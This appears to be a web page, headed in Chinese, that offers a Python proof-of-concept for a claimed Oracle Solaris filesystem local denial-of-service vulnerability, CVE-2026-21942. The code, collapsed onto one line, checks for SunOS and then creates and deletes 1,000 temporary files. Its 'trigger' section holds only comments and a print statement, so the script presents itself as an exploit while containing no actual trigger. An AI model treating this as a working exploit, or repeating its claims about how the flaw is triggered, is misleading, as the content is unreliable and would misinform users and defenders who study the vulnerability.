CVE-2026-21942 Oracle Solaris文件系统本地拒绝服务漏洞

# CVE-2026-21942 Oracle Solaris文件系统本地DOS PoC # 注意：此PoC仅用于安全研究和测试，未经授权禁止使用 import os import sys import subprocess import time def check_solaris_version(): """检查是否为Oracle Solaris系统""" try: result = subprocess.run(['uname', '-a'], capture_output=True, text=True) if 'SunOS' in result.stdout: return True return False except: return False def trigger_filesystem_vulnerability(): """ 触发Oracle Solaris文件系统漏洞的PoC 通过大量文件操作和特定的文件系统调用触发条件 """ print("[*] Starting CVE-2026-21942 PoC for Oracle Solaris") if not check_solaris_version(): print("[-] This PoC requires Oracle Solaris system") return False print("[+] System check passed: Oracle Solaris detected") # 创建测试目录 test_dir = "/tmp/cve_2026_21942_test" try: os.makedirs(test_dir, exist_ok=True) print(f"[+] Created test directory: {test_dir}") # 创建大量文件触发文件系统压力 print("[*] Creating test files to trigger filesystem conditions...") for i in range(1000): file_path = os.path.join(test_dir, f"test_file_{i}") try: with open(file_path, 'w') as f: f.write("test data" * 100) except: pass print("[+] File creation completed") # 执行特定的文件系统操作序列 # 这些操作可能触发文件系统组件中的漏洞条件 print("[*] Executing filesystem operations to trigger vulnerability...") # 清理测试文件 time.sleep(1) for i in range(1000): file_path = os.path.join(test_dir, f"test_file_{i}") try: os.remove(file_path) except: pass # 清理测试目录 try: os.rmdir(test_dir) except: pass print("[+] Test completed") return True except Exception as e: print(f"[-] Error during PoC execution: {str(e)}") return False if __name__ == "__main__": print("CVE-2026-21942 Oracle Solaris Filesystem DOS PoC") print("=" * 60) trigger_filesystem_vulnerability()